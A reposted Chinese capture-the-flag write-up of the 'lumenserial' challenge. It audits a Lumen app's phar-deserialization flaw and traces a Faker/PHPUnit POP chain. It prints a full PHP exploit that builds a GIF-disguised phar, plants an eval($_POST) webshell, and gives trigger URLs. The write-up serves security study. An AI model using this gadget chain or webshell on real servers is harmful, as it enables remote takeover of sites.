code breaking lumenserial

admin 2024年8月18日00:54:19评论11 views字数 4266阅读14分13秒阅读模式

小菜鸡太菜了,只能复现

题目

先审计源码,可以看到EditorController.php有个download函数

1
2
3
4
5
6
7
8
9
10
11
12
13
private function download($url){
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);

$content = file_get_contents($url);
$img = getimagesizefromstring($content);
......
}

可以看到这个函数里面有个file_get_contents函数,通过get方法传进去一个url,而且这个参数完全可控,因此我们可以利用它进行phar反序列化操作,而且文件上传的点还很容易找到,能直接上传图片。
但是有个注意的是,php的版本是7.2,8能动态调用assert函数,还禁用了很多系统函数system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log,因此反序列化难度+++

分析

找pop链
PendingBroadcast

先看illuminate/boradcasting/PendingBroadcast.php这个文件

1
2
3
public function __destruct(){
$this->events->dispatch($this->event);
}

可以通过这个方法将一些类的__call方法调用出来

ValidGenerator

faker/src/Facker/ValidGenerator.php里面有个__call方法,这个方法里面调用了两个动态调用函数

1
2
3
4
5
6
7
8
9
10
11
public function __call($name, $arguments){
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}

这个类里面传进去的name参数是不可控的,因此我们第一次调用$res = call_user_func_array(array($this->generator, $name)并不能如我们所愿实现任意命令,但是我们可以找到一个类,使上面调用的出来的结果可控,从而在第二次调用call_user_func($this->validator, $res)的时候实现控制。而且,name的值就是dispatch,由于在call_user_func_array里面,generator类中没有定义dispatch函数,因此会自动调用__call函数

Generator

fzaninotto/faker/src/Faker/Generator.php先看__call函数

1
2
3
public function __call($method, $attributes){
return $this->format($method, $attributes);
}

跟进去format函数

1
2
3
public function format($formatter, $arguments = array()){
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

formatter参数8可控,继续跟

1
2
3
4
5
public function getFormatter($formatter){
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
...

好了,这里我们能看到他的return值是一个数组的值,因此,我们先让第一次$this->getFormatter($formatter)返回的值是一个数组,数组值为getFormatter,然后由于call_user_func_array,他会再调用一次getFormatter方法,参数为空,而这个方法传空值时,就会返回第一个formatters成员的值

StaticInvocation

接下来最后一步就是要找一个比较好的类了
phpunit\src\Framework\MockObject\Stub\ReturnCallback.php里面看invoke函数

1
2
3
public function invoke(Invocation $invocation){
return \call_user_func_array($this->callback, $invocation->getParameters());
}

invoke方法调用了call_user_func_array而且里面的两个参数都是反序列化的时候可以控制的,Invocation只是一个接口,找到那个类就能利用了
找下类的方法

1
2
3
4
5
6
class StaticInvocation implements Invocation, SelfDescribing{

public function getMethodName(): string{
return $this->methodName;
}
}

利用这个返回回到ValidGenreator中利用call_user_func就能成功完成攻击了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
/**
* Created by PhpStorm.
* User: Ariel
* Date: 2019/4/8
* Time: 20:42
*/

namespace Illuminate\Broadcasting{
class PendingBroadcast{
function __construct(){
$this->events = new \Faker\ValidGenerator();
$this->event = 'Ariel';
}
}
}

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
function __construct(){
$this->parameters = array('/var/www/html/upload/a.php','<?php phpinfo();eval($_POST["a"]);?>');
}
}
}

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
function __construct(){
$this->callback = 'file_put_contents';
}
}
}

namespace Faker{
class ValidGenerator{
function __construct(){
$si = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
$g1 = new \Faker\Generator(array('Ariel' => $si ));
$g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));

$rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();

$this->validator = array($rc, "invoke");
$this->generator = $g2;
$this->maxRetries = 10000;
}
}

class Generator{
function __construct($form){
$this->formatters = $form;
}
}

}

namespace{
$exp = new Illuminate\Broadcasting\PendingBroadcast();
echo (urlencode(serialize($exp)));

// phar
$p = new Phar('./a.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($exp);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}

上传图片然后访问http://xiaorouji.cn:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/843ac0c4952e20f0d95d1651b86d6792/201904/10/00c7ab10a3e36d18dd9d.gif去触发反序列化
接着访问http://xiaorouji.cn:8080/upload/a.php,成功getshell
code breaking lumenserial
参考kk师傅的博客

FROM:Xi4or0uji

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日00:54:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   code breaking lumenserialhttps://cn-sec.com/archives/3074869.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息